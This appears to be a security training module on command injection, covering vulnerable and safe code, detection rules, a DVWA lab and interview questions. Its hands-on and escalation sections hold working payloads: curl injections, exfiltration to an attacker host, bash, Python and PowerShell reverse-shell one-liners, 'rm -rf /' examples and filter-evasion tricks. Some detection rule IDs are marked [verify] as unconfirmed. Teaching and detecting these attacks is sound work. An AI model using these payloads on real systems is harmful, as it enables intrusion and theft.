Command Injection
Command injection is when an application passes user-controlled data as an argument to a shell (/bin/sh, cmd.exe) and the shell interprets shell metacharacters (;, |, &, `, $(), >, <, &&, ||) as control operators. CVE-2014-6271 (Shellshock) was command injection via environment variables in bash; CVE-2017-5638 (Apache Struts) was a Content-Type header reaching a Runtime.exec; CVE-2019-11043 (PHP-FPM fastcgi_split_path_info) was a regex bug that allowed RCE through unsanitized URI parts reaching shell. The cost is direct RCE — there is no escalation phase.
The Core Concept
Section titled “The Core Concept”A shell parses input into a token stream, splits on whitespace and metacharacters, and executes commands. If the application builds a command line via string concatenation, every shell metacharacter in user input is a control-flow instruction to the shell.
Vulnerable Python: os.system("nslookup " + user_input) user_input = "x.com; rm -rf /" → shell parses: nslookup x.com ; rm -rf / ───────────── ──────── normal cmd attacker cmd
Safe Python: subprocess.run(["nslookup", user_input], shell=False) → execve("/usr/bin/nslookup", ["nslookup", "x.com; rm -rf /"], env) → shell is never invoked; metacharacters are literal argvThe defense is to never invoke a shell. Use execve-style APIs that pass argv directly — subprocess.run(..., shell=False), Runtime.exec(String[]), child_process.execFile. The shell is the parser; if you don’t invoke the parser, there is no injection.
How It Works
Section titled “How It Works”- Find the sink —
os.system,subprocess.run(..., shell=True),popen(PHP, Nodechild_process.exec),Runtime.getRuntime().exec(String)(Java single-string form parses byStringTokenizer, splitting on whitespace —cmd & notepadbecomes["cmd", "&", "notepad"], which on Windows spawns two processes). - Identify injection point — anywhere user input flows into the command line. Ping/traceroute forms, DNS lookup utilities, image processors that shell out (
convert,ffmpeg), PDF generators that shell out (wkhtmltopdf). - Probe with metacharacters —
;,|,&&,||, newline,; sleep 5,$(sleep 5). A time delay is the cleanest confirmation. - Read output (if visible) —
; cat /etc/passwd,| id,&& whoami. If output is not reflected, blind command injection via OOB:; curl http://attacker/?$(whoami). - Escalate — on Linux,
(curl http://attacker/x || wget http://attacker/x) | bashfor a one-liner reverse shell. On Windows,powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://attacker/p.ps1')".
Common Techniques
Section titled “Common Techniques”| Technique | Description | Detection Difficulty |
|---|---|---|
; chained command | ; rm -rf / runs after the legit command | Easy — ; in URL is suspicious |
&& / ` | ` conditional | |
Backtick / $() substitution | `id` or $(id) substitutes output into the command | Medium — needs to match $( |
| Pipe ` | ` | ` |
Newline \n / \r\n | Some sinks split on newline (mail headers, cron) | Medium — newline in URL is unusual |
Output redirection > | > /var/www/html/shell.php writes file | Medium — > in URL |
IFS abuse | IFS=,; cmd=ls,.,,; $cmd — space-free execution | Hard — defeats space-only filters |
| Wildcard expansion | tar czf x.tar.gz * where attacker controls filename with shell metachars | Hard — argument-level injection |
PHP system / passthru / exec / shell_exec | PHP’s system() family — all vulnerable when concatenating | Easy — input echoed |
Hands-On Commands
Section titled “Hands-On Commands”# Test a ping form for injectioncurl "http://target/ping?host=8.8.8.8;id"curl "http://target/ping?host=8.8.8.8%26%26whoami" # &&whoami URL-encodedcurl "http://target/ping?host=8.8.8.8%7Cid" # |id
# Time-based blind command injectioncurl "http://target/ping?host=8.8.8.8;sleep+5"# Measure response time; >5s = injection confirmed
# Blind command injection with OOB callback (Linux)curl "http://target/ping?host=8.8.8.8;curl%20http://$(whoami).attacker.com"
# commix — automated command injection toolpython3 commix.py --url="http://target/ping?host=INJECT_HERE" --batch \ --technique=t --time-delay=5 --os=linux
# Find shell sinks in sourcegrep -rEnE '\b(?:os\.system|os\.popen|subprocess\.(call|run|Popen).*shell\s*=\s*True|commands\..*)' src/
# PHP sinksgrep -rEnE '\b(?:system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec)\s*\(' htdocs/
# Node.js sinks (child_process.exec is shell; execFile is not)grep -rEnE 'child_process\.(exec|execSync)\s*\(' src/
# Java sinks — Runtime.exec(String) splits on whitespace; ProcessBuilder is safegrep -rEnE 'Runtime\.getRuntime\(\)\.exec\s*\(\s*\"' src/grep -rEnE 'Runtime\.getRuntime\(\)\.exec\s*\(\s*[^[][^,]*\+' src/
# Confirm with reverse shell (one-liner)# Linux bash:bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'# Linux Python:python3 -c 'import socket,subprocess,os; s=socket.socket(); s.connect(("10.0.0.1",4444)); [os.dup2(s.fileno(),f) for f in (0,1,2)]; subprocess.call(["/bin/sh","-i"])'# Windows PowerShell:powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.1/p.ps1')"
# nuclei command injection templatesnuclei -u http://target -t ~/nuclei-templates/http/dast/ -tags rce,command-injectionDetection — Defender View
Section titled “Detection — Defender View”ModSecurity OWASP CRS rule 932100 family — Remote Command Execution. Notable:
- 932100 — RCE — Unix Command Injection (large keyword list)
- 932105 — RCE — Unix Command Injection direct access
- 932110 — RCE — Windows Command Injection
- 932115 — RCE — Windows Command Injection direct access
- 932120 — RCE — Windows PowerShell Command found
- 932130 — RCE — Unix Shell History function (e.g.,
!100) - 932140 — RCE — Windows FOR /F command
- 932150 — RCE — Unix Command Injection direct access (high paranoia)
- 932160 — RCE — Unix Shell Code
- 932170 — RCE — Shellshock (CVE-2014-6271)
Suricata SID 2221004 — shell metacharacters in HTTP arguments [verify].
Sysmon Event ID 1 — ProcessCreate with parent cmd.exe / bash / sh from a web server (w3wp.exe, php-cgi.exe, nginx, apache2). Combined with Event ID 11 (FileCreate) for the webshell dropped after RCE.
MITRE ATT&CK T1059.004 — Unix Shell (bash, sh).
MITRE ATT&CK T1059.001 — PowerShell.
MITRE ATT&CK T1059.003 — Windows Command Shell (cmd.exe).
MITRE ATT&CK T1190 — Exploit Public-Facing Application (the entry point).
MITRE ATT&CK T1505.003 — Web Shell (after the injection, the next move is usually a persistent webshell).
Wazuh rule 920/31100 — Shell command pattern in HTTP request [verify].
Wazuh rule 87100 — Web server parent spawning shell interpreter [verify].
Evasion Techniques
Section titled “Evasion Techniques”IFS substitution. When spaces are blocked, change the Internal Field Separator: IFS=,; cmd=ls,-la,/tmp; $cmd runs ls -la /tmp with no spaces in the payload. Defense: block IFS= substring entirely.
Brace expansion. {ls,-la,/tmp} expands to ls -la /tmp in bash. The payload has no spaces but executes a multi-word command. Defense: block {...,...} patterns.
Base64 + decode. When specific commands are blocked, use echo bHM=|base64 -d|bash — bHM= is ls base64. The string bHM= doesn’t match a keyword rule. Defense: block base64 -d or pipe-to-shell pattern.
Hex escape. \x77\x68\x6f\x61\x6d\x69 is whoami in C-string form. Some interpreters expand it (bash with printf, echo -e).
Quote obfuscation. w'h'o'a'm'i — bash strips single quotes from inside unquoted strings; the result is whoami. Defense: strip single quotes from input before pattern matching.
Wildcard globs. /?in/?h matches /bin/sh in many shells. Defense: block leading / in URL params.
| Evasion | Bypasses | Defense |
|---|---|---|
IFS=, then comma-separated args | Space-only filter | Block IFS= and , |
Brace expansion {a,b} | Space-only filter | Block braces in args |
echo base64|bash | Keyword filter on bash | Block base64 and pipe-to-shell patterns |
| Single-quote interleaving | Keyword regex | Pre-strip quotes before matching |
/?in/?h wildcard | Full path matchers | Block leading / in params |
Backtick `cmd` or $(cmd) | ;/` | ` filter |
\n newline injection | Single-line regex | Treat input as multiline before matching |
⚠️ What caught me: A target filtered
;,|,&,`,$(,>,<— full metacharacter blocklist. I assumed it was safe until I realized the input was used as a filename argument:convert input.${userInput} /tmp/out.png. The user input wasx.png -write /var/www/html/shell.php -set comment '<?php system($_GET[0])?>'. ImageMagick processed the arguments as ImageMagick options, not as a shell command —convertitself became the injection target, and the>shell redirection never happened. The lesson: argument injection is a separate class from shell injection. When user input is a single argv element, it can still be parsed by the receiving program’s own argument parser (find,tar,zip,convert,curl).
Lab Practice
Section titled “Lab Practice”Container: OWASP Juice Shop command injection challenge (/score-board filter “Command Injection”), or DVWA’s Command Injection module.
docker run --rm -d -p 80:80 vulnerables/web-dvwa# Module: Command Injection — ping a hostObjective: solve DVWA’s “Command Injection” at high level (where the input is stripslashes-d and a str_replace removes & and ;). Demonstrate the bypass via | and $().
Expected flag format: flag{cmd_injection_dvwa_high_bypass_pipe_and_subshell}.
Detection that should fire: ModSecurity 932100 family on every payload; on the high level, expect time-based detection (5s sleep trigger matches the time-based blind signature).
Interview Questions
Section titled “Interview Questions”Conceptual: explain the difference between shell injection and argument injection. Give one example of each and explain why a regex that blocks ;|& is sufficient defense for one but not the other.
Technical: walk through what subprocess.run("nslookup " + user_input, shell=True) does internally that subprocess.run(["nslookup", user_input], shell=False) does not. Name the system call that the shell=False version uses instead of /bin/sh -c.
Scenario: a target blocks ;|&\$()` but allows spaces and parentheses. Describe a working command-injection payload and the bash feature that enables it.
Why does Java’s Runtime.getRuntime().exec(String) introduce command injection even when no shell is explicitly invoked, and what is the correct fix?
Compare child_process.exec(cmd, callback) and child_process.execFile(file, args, callback) in Node.js. What is the security implication of passing the shell: true option to execFile?
Related Modules
Section titled “Related Modules”→ W1 (OWASP Top 10 Overview) · W2 (SQL Injection) · P1 (Shellcode Fundamentals)